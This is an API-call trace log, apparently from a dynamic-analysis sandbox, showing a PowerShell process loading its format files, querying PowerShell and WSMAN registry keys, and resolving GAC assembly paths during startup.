[0040.209] VirtualQuery (in: lpAddress=0x16d3a8, lpBuffer=0x16e3a8, dwLength=0x1c | out: lpBuffer=0x16e3a8*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.209] VirtualQuery (in: lpAddress=0x16d3a8, lpBuffer=0x16e3a8, dwLength=0x1c | out: lpBuffer=0x16e3a8*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.209] VirtualQuery (in: lpAddress=0x16d3a8, lpBuffer=0x16e3a8, dwLength=0x1c | out: lpBuffer=0x16e3a8*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.209] VirtualQuery (in: lpAddress=0x16d3a8, lpBuffer=0x16e3a8, dwLength=0x1c | out: lpBuffer=0x16e3a8*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.210] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48
[0040.210] GetLastError () returned 0x0
[0040.210] SetErrorMode (uMode=0x1) returned 0x1
[0040.210] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x300
[0040.210] GetLastError () returned 0x0
[0040.210] GetFileType (hFile=0x300) returned 0x1
[0040.210] SetErrorMode (uMode=0x1) returned 0x1
[0040.210] GetFileType (hFile=0x300) returned 0x1
[0040.210] ReadFile (in: hFile=0x300, lpBuffer=0x283f89c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x283f89c*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.211] GetLastError () returned 0x0
[0040.212] ReadFile (in: hFile=0x300, lpBuffer=0x283f89c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x283f89c*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.212] GetLastError () returned 0x0
[0040.212] ReadFile (in: hFile=0x300, lpBuffer=0x283f89c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x283f89c*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.213] GetLastError () returned 0x0
[0040.213] ReadFile (in: hFile=0x300, lpBuffer=0x283f89c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x283f89c*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.213] GetLastError () returned 0x0
[0040.214] ReadFile (in: hFile=0x300, lpBuffer=0x283f89c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x283f89c*, lpNumberOfBytesRead=0x16e654*=0x8b4, lpOverlapped=0x0) returned 1
[0040.215] GetLastError () returned 0x0
[0040.215] ReadFile (in: hFile=0x300, lpBuffer=0x283ecf0, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x283ecf0*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0040.215] GetLastError () returned 0x0
[0040.215] ReadFile (in: hFile=0x300, lpBuffer=0x283f89c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x283f89c*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0040.215] GetLastError () returned 0x0
[0040.215] CloseHandle (hObject=0x300) returned 1
[0040.215] GetLastError () returned 0x0
[0040.215] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48
[0040.215] GetLastError () returned 0x0
[0040.215] SetErrorMode (uMode=0x1) returned 0x1
[0040.215] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2860898 | out: lpFileInformation=0x2860898*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1a87f7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1a87f7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd36b30fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1
[0040.215] GetLastError () returned 0x0
[0040.215] SetErrorMode (uMode=0x1) returned 0x1
[0040.215] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48
[0040.215] GetLastError () returned 0x0
[0040.215] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e5d8 | out: phkResult=0x16e5d8*=0x300) returned 0x0
[0040.216] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x0, lpcbData=0x16e61c*=0x0 | out: lpType=0x16e620*=0x1, lpData=0x0, lpcbData=0x16e61c*=0x56) returned 0x0
[0040.216] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x365310, lpcbData=0x16e61c*=0x56 | out: lpType=0x16e620*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16e61c*=0x56) returned 0x0
[0040.216] RegCloseKey (hKey=0x300) returned 0x0
[0040.216] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48
[0040.216] GetLastError () returned 0x0
[0040.216] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48
[0040.216] GetLastError () returned 0x0
[0040.217] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x6a258463, Data2=0x9fc1, Data3=0x4dc6, Data4=([0]=0x99, [1]=0x92, [2]=0xb9, [3]=0xd4, [4]=0x76, [5]=0xb9, [6]=0x9f, [7]=0xa9))) returned 0x0
[0040.218] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x8149a341, Data2=0x5b48, Data3=0x43cb, Data4=([0]=0xb4, [1]=0x87, [2]=0x33, [3]=0x2a, [4]=0x10, [5]=0xdd, [6]=0xd0, [7]=0x36))) returned 0x0
[0040.218] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41
[0040.218] GetLastError () returned 0x0
[0040.218] SetErrorMode (uMode=0x1) returned 0x1
[0040.218] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x300
[0040.218] GetLastError () returned 0x0
[0040.218] GetFileType (hFile=0x300) returned 0x1
[0040.218] SetErrorMode (uMode=0x1) returned 0x1
[0040.218] GetFileType (hFile=0x300) returned 0x1
[0040.218] ReadFile (in: hFile=0x300, lpBuffer=0x28767a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x28767a8*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.222] GetLastError () returned 0x0
[0040.222] ReadFile (in: hFile=0x300, lpBuffer=0x28767a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x28767a8*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.222] GetLastError () returned 0x0
[0040.223] ReadFile (in: hFile=0x300, lpBuffer=0x28767a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x28767a8*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.223] GetLastError () returned 0x0
[0040.223] ReadFile (in: hFile=0x300, lpBuffer=0x28767a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x28767a8*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.223] GetLastError () returned 0x0
[0040.224] ReadFile (in: hFile=0x300, lpBuffer=0x28767a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x28767a8*, lpNumberOfBytesRead=0x16e654*=0xe98, lpOverlapped=0x0) returned 1
[0040.224] GetLastError () returned 0x0
[0040.224] ReadFile (in: hFile=0x300, lpBuffer=0x2875de0, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x2875de0*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0040.224] GetLastError () returned 0x0
[0040.224] ReadFile (in: hFile=0x300, lpBuffer=0x28767a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x28767a8*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0040.225] GetLastError () returned 0x0
[0040.225] CloseHandle (hObject=0x300) returned 1
[0040.225] GetLastError () returned 0x0
[0040.225] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41
[0040.225] GetLastError () returned 0x0
[0040.225] SetErrorMode (uMode=0x1) returned 0x1
[0040.225] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x28977a4 | out: lpFileInformation=0x28977a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1ce956, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1ce956, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd372551c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1
[0040.225] GetLastError () returned 0x0
[0040.225] SetErrorMode (uMode=0x1) returned 0x1
[0040.225] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41
[0040.225] GetLastError () returned 0x0
[0040.225] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e5d8 | out: phkResult=0x16e5d8*=0x300) returned 0x0
[0040.225] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x0, lpcbData=0x16e61c*=0x0 | out: lpType=0x16e620*=0x1, lpData=0x0, lpcbData=0x16e61c*=0x56) returned 0x0
[0040.225] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x365310, lpcbData=0x16e61c*=0x56 | out: lpType=0x16e620*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16e61c*=0x56) returned 0x0
[0040.225] RegCloseKey (hKey=0x300) returned 0x0
[0040.225] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41
[0040.225] GetLastError () returned 0x0
[0040.225] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41
[0040.225] GetLastError () returned 0x0
[0040.226] VirtualQuery (in: lpAddress=0x16d330, lpBuffer=0x16e330, dwLength=0x1c | out: lpBuffer=0x16e330*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.226] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x3e7b43c1, Data2=0xbd3a, Data3=0x466c, Data4=([0]=0x91, [1]=0xc4, [2]=0x34, [3]=0x40, [4]=0x94, [5]=0xa7, [6]=0x8b, [7]=0x7e))) returned 0x0
[0040.227] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xfa53b3d4, Data2=0x5573, Data3=0x484e, Data4=([0]=0x9e, [1]=0xb9, [2]=0x77, [3]=0xe7, [4]=0xbd, [5]=0xf1, [6]=0x3f, [7]=0x88))) returned 0x0
[0040.244] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x16e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e
[0040.244] GetLastError () returned 0x57
[0040.244] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x16e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e
[0040.244] GetLastError () returned 0x57
[0040.255] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x16e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70
[0040.255] GetLastError () returned 0x57
[0040.255] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x16e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70
[0040.256] GetLastError () returned 0x57
[0040.258] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.258] GetLastError () returned 0x57
[0040.258] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.258] GetLastError () returned 0x57
[0040.260] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x16e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
[0040.260] GetLastError () returned 0x57
[0040.260] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x16e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
[0040.260] GetLastError () returned 0x57
[0040.262] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0040.262] GetLastError () returned 0x57
[0040.262] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0040.262] GetLastError () returned 0x57
[0040.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x16e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c
[0040.263] GetLastError () returned 0x57
[0040.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x16e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c
[0040.263] GetLastError () returned 0x57
[0040.265] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x16e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
[0040.265] GetLastError () returned 0x57
[0040.265] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x16e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
[0040.265] GetLastError () returned 0x57
[0040.271] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.271] GetLastError () returned 0xcb
[0040.271] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.271] GetLastError () returned 0xcb
[0040.272] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.272] GetLastError () returned 0xcb
[0040.273] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.273] GetLastError () returned 0xcb
[0040.275] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.275] GetLastError () returned 0xcb
[0040.278] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.278] GetLastError () returned 0xcb
[0040.287] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.288] GetLastError () returned 0xcb
[0040.295] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e6cc | out: phkResult=0x16e6cc*=0x300) returned 0x0
[0040.297] RegQueryInfoKeyW (in: hKey=0x300, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x16e71c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x16e720, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x16e71c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x16e720*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.298] RegEnumValueW (in: hKey=0x300, dwIndex=0x0, lpValueName=0x365310, lpcchValueName=0x16e744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x16e744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
[0040.298] RegEnumValueW (in: hKey=0x300, dwIndex=0x1, lpValueName=0x365310, lpcchValueName=0x16e744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x16e744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
[0040.298] RegEnumValueW (in: hKey=0x300, dwIndex=0x2, lpValueName=0x365310, lpcchValueName=0x16e744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x16e744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
[0040.298] RegQueryValueExW (in: hKey=0x300, lpValueName="StackVersion", lpReserved=0x0, lpType=0x16e724, lpData=0x0, lpcbData=0x16e720*=0x0 | out: lpType=0x16e724*=0x1, lpData=0x0, lpcbData=0x16e720*=0x8) returned 0x0
[0040.299] RegQueryValueExW (in: hKey=0x300, lpValueName="StackVersion", lpReserved=0x0, lpType=0x16e724, lpData=0x365310, lpcbData=0x16e720*=0x8 | out: lpType=0x16e724*=0x1, lpData="2.0", lpcbData=0x16e720*=0x8) returned 0x0
[0040.378] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e688 | out: phkResult=0x16e688*=0x304) returned 0x0
[0040.378] RegQueryInfoKeyW (in: hKey=0x304, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x16e6d8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x16e6dc, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x16e6d8*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x16e6dc*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
[0040.378] RegEnumValueW (in: hKey=0x304, dwIndex=0x0, lpValueName=0x365310, lpcchValueName=0x16e700, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x16e700, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
[0040.378] RegEnumValueW (in: hKey=0x304, dwIndex=0x1, lpValueName=0x365310, lpcchValueName=0x16e700, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x16e700, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
[0040.378] RegEnumValueW (in: hKey=0x304, dwIndex=0x2, lpValueName=0x365310, lpcchValueName=0x16e700, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x16e700, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0
[0040.379] RegQueryValueExW (in: hKey=0x304, lpValueName="StackVersion", lpReserved=0x0, lpType=0x16e6e0, lpData=0x0, lpcbData=0x16e6dc*=0x0 | out: lpType=0x16e6e0*=0x1, lpData=0x0, lpcbData=0x16e6dc*=0x8) returned 0x0
